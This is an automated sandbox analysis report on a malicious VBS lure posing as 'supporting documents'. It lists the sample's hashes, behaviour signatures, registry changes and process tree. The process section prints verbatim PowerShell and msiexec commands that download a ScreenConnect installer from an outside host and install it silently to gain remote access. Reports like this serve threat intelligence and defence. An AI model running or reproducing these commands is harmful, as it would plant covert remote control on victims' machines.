Analysis
- max time kernel
149s - max time network
133s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260706-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
07/07/2026, 06:11
Static task
static1
Behavioral task
behavioral1
Sample
RSK Adv Grp Supporting documents.vbs
Resource
win10v2004-20260513-en
windows10-2004-x64
23 signatures
150 seconds
Behavioral task
behavioral2
Sample
RSK Adv Grp Supporting documents.vbs
Resource
win11ltsc2024-20260706-en
windows11-ltsc_2024-x64
24 signatures
150 seconds
General
- Target RSK Adv Grp Supporting documents.vbs
- Size 922B
- Sample260707-gxramsa19s
- SHA256 35be1b070f06eb313c3cb818c74aa0a9c2d9f39a05621dac4de6cff6067a5d12
- MD5 3cbf062f600bb6c64849f726566557bc
- SHA1 923a3c6a7006d0e0fde4deadec5a9cd0b075d122
- SHA512 ce2ead75eff40593f0404f1aa9194b7477acd5849fbaab1d4802119a5cc6dc668ad99ae0ef48a43d526ceb247c163397f5e1a7a3635c20a0fb982cb740776bfe
- TLSH T1141100D7870BB0246DB237B6B1E766ABDEC855074B5044346C97D01CFA3A42FC75584B
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
exe.dropper
https://crestmarkhq.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest
Signatures
- Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3680 3020 cmd.exe 87 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3920 3020 powershell.exe 87 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 480 3020 msiexec.exe 87 - Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 3920 powershell.exe - Sets service image path in registry 3 TTPs 1 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (8390290a9fe5df98)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (8390290a9fe5df98)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=crestmarkhq.com&p=8041&s=ee8b2b6a-a6c5-4f26-afa5-19349a619101&k=BgIAAACkAABSU0ExAAgAAAEAAQClowpken0dZwYGd%2fG1XMD8ohAqF7FXZEcjKf3QVaOpY5pwIOILwbkHecS7DUfdGbFMn3kRbBBpHmcnQBbWKqRBrWgoZqMXzMIemPdhhcDZVKGLeZFml1EG7M1Uwc40yBVqnA%2bNKI1n5PhOCxGYA82hw%2fKljNghPiqI8U1wZK7P9JTzhouzxQCpiwBIo4Sr2f3dgqkKMDkt8QmTyOgEMfUv1hBP41NZn9hkdNCY2IMpKTzEFFXerPK9%2fQDyMCh%2fAd%2b8N6k1YfxVseYo3BdcEx9hzCGzYqoTNixabnyvPY9a8VyIRHhpJASmSPhos1%2b%2fZTyETDrECqd0hE%2fMErZEMdbL&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAWRjMjAKGckOZrOiqUi4g4wAAAAACAAAAAAAQZgAAAAEAACAAAADhQDW4EN3DEs28mHs8ES4LtpAAq2wJUtQiwyHdb05IogAAAAAOgAAAAAIAACAAAACLiBWeNfrf%2fthZ3vCWqkR1HCvz5ib3xDKGhpkE81a8b6AEAAAhBGt15LIU1GQhVPQ0A3HneExsQK7mFoCgY97dHLkcmJjJrJwIJqIF%2fJxjVAeZB%2biBmQ1l3Zb27ZVq5bKgs3KUn%2faXLgkOa9k5ZEfGHGUk1GbFfWO4ELeSqfUzNwGbuKwIKc3lcXfznVE4DDwz7%2bxpaxc9kmxbCphCrv9GHy4TD5aw9Zb3vsZXd4SmJPIKVzs9slhxcEDFhR3UoUw9wY1B%2fmwBwWMbp71Ujm3YMsvb3xB4rhdq82N%2bv%2bxGQurdtnmcwpY3BMtjA%2f%2fIB0hSKYRigeLL9os2mTMYXRY76OwBbeKNTMrR3WaTsdzLHT9O6IbfnTNqgHjRlhKDDOZyU9co4yyAyq31SwyuPjmbPstLK%2bAJnsXMQpw5dIWI4RvqvNDtBR93WwLXZ%2fEtpqENLW5q9u3%2fxmC%2fHFx%2beEEvMZOzvtPm%2bIKDUPEnm4C8ElYUliapOSQKTty3m9%2fr0BtOZNhJXCOpNJXHapcb1ys42U%2flr91%2bOifQaoTOWt%2fm3zC6JnNpxG1WyswDPtryYRBKnXGPjC3L0iDX6%2b4FBpZmFSAPGmcE7T6zjM8nlqk%2fo83kRVnBEkpLFFKyBeR04Nhi%2bYLMfVEStIf%2fqFpRHhQ5oYDOFGA0iif3crlSXaz3rOt85Xqd%2ffg9160U%2fkH7LR7mmSReIIWEsFsCKOoALxKlPS9A03DKsmJdb3kWtUmmKIR2NoVjkgFws%2fedwMMeyUAUOy7GpGKECmJwLNsUZiHfyt5IxPSzV%2ft%2bej%2bmS%2bpbm03803ln2kgH%2bY2VAoiw%2boHQg1fvl11SH1UxY3vMCRKHz6DtpRyYnz%2f88YdVMGN68VIv0YofKQrwoNi0kpjattj6SWjkc28nkd7r0G7GPsgfEobLIszf6RZtZel5MNpGIJvkvJ0tXBYiQEjetzziiiWYtzAqF3lqwtmMucr1Eu%2blAuaf8b44m0RvCmx00KQSuJdvraQgKoBArZYenU8Ev2kCpO1p9WrkviWwkFGjiafTY56BiiLkkVE215B1J6SUuYMlA2pqjzmv9vqRJ%2f0b0N56Up3fXDvEaUB2bN8%2b3reCBGddWG565ly4rSH7rmFYRd8rgcvIYc0%2fViRqArPBbbu1Emp2V2nllezfLlrZxnsoEChyph%2fgoHgtqHRVGzkI0ujWZOOhOB%2f2qH8%2fhOGMd6zE4%2f5CztoidQG4Mbvbig75Xo7clNXF1yxuWbqqZTVuyrkxZEv7dNd85JEXQsX6iG%2fSWcZPOArGqiDqCE%2b0BQUMtTF75cLxxCDoVUAY75iO%2bKlepzVQd0JigxzLwpLakrd82BZdWNzVVjdZWeHcWSadk%2fZn9RdXRIRAsnx2HkNlb%2fyW5l90Vym4c%2fXDYLbAiLD6q24fw%2fT6GGkqd46Z2dT0fJozLm%2fu1h4%2bMgSmy1OxY1sCkMl9dFfi5IWnsUIFxHvGBNZOaCBVUSpYpqM%2fETcZr3LopqnjGU%2b%2bhF9dOcSClJHinSFkm5OAIhj%2bQG6f8URfBbAJeaItOBhmZOVYz11X92612nKOZFKINX8TZQLAo0i3l3rzbXUsJbfYoH6m5p4ul1zNJMTRd%2bLTAtBJeH95reQnpUAAAAA3nFPlqD1XwOY1I3nWOunNpp7okoqIL0BhDZw72heAlUqkKg32gyVi8t16SSVrfqwbCRHaEAFOirDX6%2fggyKN7\"" ScreenConnect.ClientService.exe - Signed with revoked ConnectWise certificate 2 IoCs
Binary is signed using a ConnectWise certificate revoked for key compromise.
resource yara_rule behavioral2/files/0x000d00000001c505-125.dat revoked_cert_connectwise behavioral2/memory/120-126-0x0000000004180000-0x0000000004255000-memory.dmp revoked_cert_connectwise - Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Executes dropped EXE 3 IoCs
pid Process 120 ScreenConnect.ClientService.exe 4932 ScreenConnect.WindowsClient.exe 2680 ScreenConnect.WindowsClient.exe - Loads dropped DLL 22 IoCs
pid Process 3968 MsiExec.exe 3088 rundll32.exe 3088 rundll32.exe 3088 rundll32.exe 3088 rundll32.exe 3088 rundll32.exe 3088 rundll32.exe 3088 rundll32.exe 3088 rundll32.exe 3088 rundll32.exe 3968 MsiExec.exe 964 MsiExec.exe 120 ScreenConnect.ClientService.exe 120 ScreenConnect.ClientService.exe 120 ScreenConnect.ClientService.exe 120 ScreenConnect.ClientService.exe 120 ScreenConnect.ClientService.exe 120 ScreenConnect.ClientService.exe 120 ScreenConnect.ClientService.exe 120 ScreenConnect.ClientService.exe 120 ScreenConnect.ClientService.exe 120 ScreenConnect.ClientService.exe -
pid Process 3920 powershell.exe - Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\L: msiexec.exe - Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs
Suspicious Windows Authentication Registry Modification.
description ioc Process Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800380033003900300032003900300061003900660065003500640066003900380029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000 msiexec.exe - Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8390290a9fe5df98)\aszrmnxb.tmp ScreenConnect.ClientService.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8390290a9fe5df98)\aszrmnxb.newcfg ScreenConnect.ClientService.exe - Drops file in Program Files directory 19 IoCs
description ioc Process File created C:\Program Files (x86)\ScreenConnect Client (8390290a9fe5df98)\app.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (8390290a9fe5df98)\ScreenConnect.Core.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (8390290a9fe5df98)\ScreenConnect.WindowsClient.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (8390290a9fe5df98)\ScreenConnect.WindowsFileManager.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (8390290a9fe5df98)\ScreenConnect.Client.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (8390290a9fe5df98)\ScreenConnect.ClientService.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (8390290a9fe5df98)\ScreenConnect.WindowsAuthenticationPackage.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (8390290a9fe5df98)\ScreenConnect.WindowsCredentialProvider.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (8390290a9fe5df98)\ScreenConnect.WindowsFileManager.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (8390290a9fe5df98)\ScreenConnect.ClientService.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (8390290a9fe5df98)\Client.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (8390290a9fe5df98)\Client.Override.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (8390290a9fe5df98)\Client.Override.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (8390290a9fe5df98)\Client.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (8390290a9fe5df98)\system.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (8390290a9fe5df98)\ScreenConnect.Windows.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (8390290a9fe5df98)\ScreenConnect.WindowsBackstageShell.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (8390290a9fe5df98)\ScreenConnect.WindowsBackstageShell.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (8390290a9fe5df98)\ScreenConnect.WindowsClient.exe msiexec.exe - Drops file in Windows directory 26 IoCs
description ioc Process File created C:\Windows\SystemTemp\~DF31735026641B5ABC.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSI82D2.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI82D2.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll rundll32.exe File created C:\Windows\SystemTemp\~DFC0E478A6B6E82BF5.TMP msiexec.exe File created C:\Windows\Installer\wix{182A1467-AB24-9CC5-884F-C07D6C5F5074}.SchedServiceConfig.rmi MsiExec.exe File opened for modification C:\Windows\Installer\MSI82D2.tmp-\Microsoft.Deployment.Compression.Cab.dll rundll32.exe File opened for modification C:\Windows\Installer\MSI82D2.tmp-\CustomAction.config rundll32.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSI89AA.tmp msiexec.exe File opened for modification C:\Windows\Installer\{182A1467-AB24-9CC5-884F-C07D6C5F5074}\DefaultIcon msiexec.exe File created C:\Windows\SystemTemp\~DFFE0925ED0F34DA94.TMP msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\Installer\e597efa.msi msiexec.exe File opened for modification C:\Windows\Installer\e597efa.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI82D2.tmp-\ScreenConnect.InstallerActions.dll rundll32.exe File opened for modification C:\Windows\Installer\MSI82D2.tmp-\ScreenConnect.Core.dll rundll32.exe File opened for modification C:\Windows\Installer\MSI82D2.tmp-\ScreenConnect.Windows.dll rundll32.exe File opened for modification C:\Windows\Installer\MSI82D2.tmp-\Microsoft.Deployment.Compression.dll rundll32.exe File created C:\Windows\SystemTemp\~DFAD54BB4D552D5247.TMP msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSI82D2.tmp-\Microsoft.Deployment.WindowsInstaller.dll rundll32.exe File created C:\Windows\Installer\SourceHash{182A1467-AB24-9CC5-884F-C07D6C5F5074} msiexec.exe File opened for modification C:\Windows\Installer\MSI894C.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI8AB5.tmp msiexec.exe File created C:\Windows\Installer\e597efe.msi msiexec.exe File created C:\Windows\Installer\{182A1467-AB24-9CC5-884F-C07D6C5F5074}\DefaultIcon msiexec.exe - System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ScreenConnect.ClientService.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ScreenConnect.WindowsClient.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString ScreenConnect.WindowsClient.exe - Modifies data under HKEY_USERS 13 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.ClientService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.ClientService.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.ClientService.exe - Modifies registry class 37 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-C06D-C00172459DEF}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (8390290a9fe5df98)\\ScreenConnect.WindowsCredentialProvider.dll" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\7641A28142BA5CC988F40CD7C6F50547\Full msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\7641A28142BA5CC988F40CD7C6F50547\SourceList\PackageName = "installer.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-8390290a9fe5df98 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-8390290a9fe5df98\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (8390290a9fe5df98)\\ScreenConnect.WindowsClient.exe\" \"%1\"" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\7641A28142BA5CC988F40CD7C6F50547 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\7641A28142BA5CC988F40CD7C6F50547\PackageCode = "7641A28142BA5CC988F40CD7C6F50547" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\7641A28142BA5CC988F40CD7C6F50547\ProductIcon = "C:\\Windows\\Installer\\{182A1467-AB24-9CC5-884F-C07D6C5F5074}\\DefaultIcon" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\12FDF3656D00A611380992A0F95EFD89\7641A28142BA5CC988F40CD7C6F50547 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-8390290a9fe5df98\shell\open msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-C06D-C00172459DEF}\InprocServer32\ThreadingModel = "Apartment" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\7641A28142BA5CC988F40CD7C6F50547 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\7641A28142BA5CC988F40CD7C6F50547\SourceList\Media msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-8390290a9fe5df98\UseOriginalUrlEncoding = "1" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-8390290a9fe5df98\shell\open\command msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-8390290a9fe5df98\shell msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\7641A28142BA5CC988F40CD7C6F50547\Version = "419692564" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\7641A28142BA5CC988F40CD7C6F50547\InstanceType = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\7641A28142BA5CC988F40CD7C6F50547\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\7641A28142BA5CC988F40CD7C6F50547\SourceList\LastUsedSource = "n;1;C:\\temp\\" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\7641A28142BA5CC988F40CD7C6F50547\AuthorizedLUAApp = "0" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\7641A28142BA5CC988F40CD7C6F50547\Clients = 3a0000000000 msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-C06D-C00172459DEF} msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\7641A28142BA5CC988F40CD7C6F50547\ProductName = "ScreenConnect Client (8390290a9fe5df98)" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\7641A28142BA5CC988F40CD7C6F50547\Assignment = "1" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\7641A28142BA5CC988F40CD7C6F50547\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\7641A28142BA5CC988F40CD7C6F50547\SourceList\Media\1 = ";" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-8390290a9fe5df98\shell\open\command msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\7641A28142BA5CC988F40CD7C6F50547\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\7641A28142BA5CC988F40CD7C6F50547\AdvertiseFlags = "388" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\12FDF3656D00A611380992A0F95EFD89 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-C06D-C00172459DEF}\ = "ScreenConnect Client (8390290a9fe5df98) Credential Provider" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-C06D-C00172459DEF}\InprocServer32 msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\7641A28142BA5CC988F40CD7C6F50547\DeploymentFlags = "3" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\7641A28142BA5CC988F40CD7C6F50547\SourceList\Net\1 = "C:\\temp\\" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-8390290a9fe5df98 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-8390290a9fe5df98\URL Protocol msiexec.exe - Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 3920 powershell.exe 3920 powershell.exe 6032 msiexec.exe 6032 msiexec.exe 120 ScreenConnect.ClientService.exe 120 ScreenConnect.ClientService.exe 120 ScreenConnect.ClientService.exe 120 ScreenConnect.ClientService.exe 120 ScreenConnect.ClientService.exe 120 ScreenConnect.ClientService.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3920 powershell.exe Token: SeShutdownPrivilege 480 msiexec.exe Token: SeIncreaseQuotaPrivilege 480 msiexec.exe Token: SeSecurityPrivilege 6032 msiexec.exe Token: SeCreateTokenPrivilege 480 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 480 msiexec.exe Token: SeLockMemoryPrivilege 480 msiexec.exe Token: SeIncreaseQuotaPrivilege 480 msiexec.exe Token: SeMachineAccountPrivilege 480 msiexec.exe Token: SeTcbPrivilege 480 msiexec.exe Token: SeSecurityPrivilege 480 msiexec.exe Token: SeTakeOwnershipPrivilege 480 msiexec.exe Token: SeLoadDriverPrivilege 480 msiexec.exe Token: SeSystemProfilePrivilege 480 msiexec.exe Token: SeSystemtimePrivilege 480 msiexec.exe Token: SeProfSingleProcessPrivilege 480 msiexec.exe Token: SeIncBasePriorityPrivilege 480 msiexec.exe Token: SeCreatePagefilePrivilege 480 msiexec.exe Token: SeCreatePermanentPrivilege 480 msiexec.exe Token: SeBackupPrivilege 480 msiexec.exe Token: SeRestorePrivilege 480 msiexec.exe Token: SeShutdownPrivilege 480 msiexec.exe Token: SeDebugPrivilege 480 msiexec.exe Token: SeAuditPrivilege 480 msiexec.exe Token: SeSystemEnvironmentPrivilege 480 msiexec.exe Token: SeChangeNotifyPrivilege 480 msiexec.exe Token: SeRemoteShutdownPrivilege 480 msiexec.exe Token: SeUndockPrivilege 480 msiexec.exe Token: SeSyncAgentPrivilege 480 msiexec.exe Token: SeEnableDelegationPrivilege 480 msiexec.exe Token: SeManageVolumePrivilege 480 msiexec.exe Token: SeImpersonatePrivilege 480 msiexec.exe Token: SeCreateGlobalPrivilege 480 msiexec.exe Token: SeRestorePrivilege 6032 msiexec.exe Token: SeTakeOwnershipPrivilege 6032 msiexec.exe Token: SeRestorePrivilege 6032 msiexec.exe Token: SeTakeOwnershipPrivilege 6032 msiexec.exe Token: SeRestorePrivilege 6032 msiexec.exe Token: SeTakeOwnershipPrivilege 6032 msiexec.exe Token: SeRestorePrivilege 6032 msiexec.exe Token: SeTakeOwnershipPrivilege 6032 msiexec.exe Token: SeRestorePrivilege 6032 msiexec.exe Token: SeTakeOwnershipPrivilege 6032 msiexec.exe Token: SeShutdownPrivilege 964 MsiExec.exe Token: SeRestorePrivilege 6032 msiexec.exe Token: SeTakeOwnershipPrivilege 6032 msiexec.exe Token: SeRestorePrivilege 6032 msiexec.exe Token: SeTakeOwnershipPrivilege 6032 msiexec.exe Token: SeRestorePrivilege 6032 msiexec.exe Token: SeTakeOwnershipPrivilege 6032 msiexec.exe Token: SeRestorePrivilege 6032 msiexec.exe Token: SeTakeOwnershipPrivilege 6032 msiexec.exe Token: SeRestorePrivilege 6032 msiexec.exe Token: SeTakeOwnershipPrivilege 6032 msiexec.exe Token: SeRestorePrivilege 6032 msiexec.exe Token: SeTakeOwnershipPrivilege 6032 msiexec.exe Token: SeRestorePrivilege 6032 msiexec.exe Token: SeTakeOwnershipPrivilege 6032 msiexec.exe Token: SeRestorePrivilege 6032 msiexec.exe Token: SeTakeOwnershipPrivilege 6032 msiexec.exe Token: SeRestorePrivilege 6032 msiexec.exe Token: SeTakeOwnershipPrivilege 6032 msiexec.exe Token: SeRestorePrivilege 6032 msiexec.exe Token: SeTakeOwnershipPrivilege 6032 msiexec.exe - Suspicious use of FindShellTrayWindow 5 IoCs
pid Process 4932 ScreenConnect.WindowsClient.exe 4932 ScreenConnect.WindowsClient.exe 4932 ScreenConnect.WindowsClient.exe 4932 ScreenConnect.WindowsClient.exe 4932 ScreenConnect.WindowsClient.exe - Suspicious use of SendNotifyMessage 5 IoCs
pid Process 4932 ScreenConnect.WindowsClient.exe 4932 ScreenConnect.WindowsClient.exe 4932 ScreenConnect.WindowsClient.exe 4932 ScreenConnect.WindowsClient.exe 4932 ScreenConnect.WindowsClient.exe - Suspicious use of SetWindowsHookEx 4 IoCs
pid Process 480 msiexec.exe 6032 msiexec.exe 3968 MsiExec.exe 964 MsiExec.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 6032 wrote to memory of 3968 6032 msiexec.exe 94 PID 3968 wrote to memory of 3088 3968 MsiExec.exe 95 PID 6032 wrote to memory of 964 6032 msiexec.exe 96 PID 120 wrote to memory of 4932 120 ScreenConnect.ClientService.exe 98 PID 120 wrote to memory of 2680 120 ScreenConnect.ClientService.exe 99
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RSK Adv Grp Supporting documents.vbs"1⤵PID:5788
-
C:\Windows\system32\cmd.execmd /c if not exist C:\temp mkdir C:\temp1⤵
- Process spawned unexpected child process
PID:3680
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://crestmarkhq.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest', 'C:\temp\installer.msi')"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3920
-
C:\Windows\system32\msiexec.exemsiexec /i C:\temp\installer.msi /quiet /norestart1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:480
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
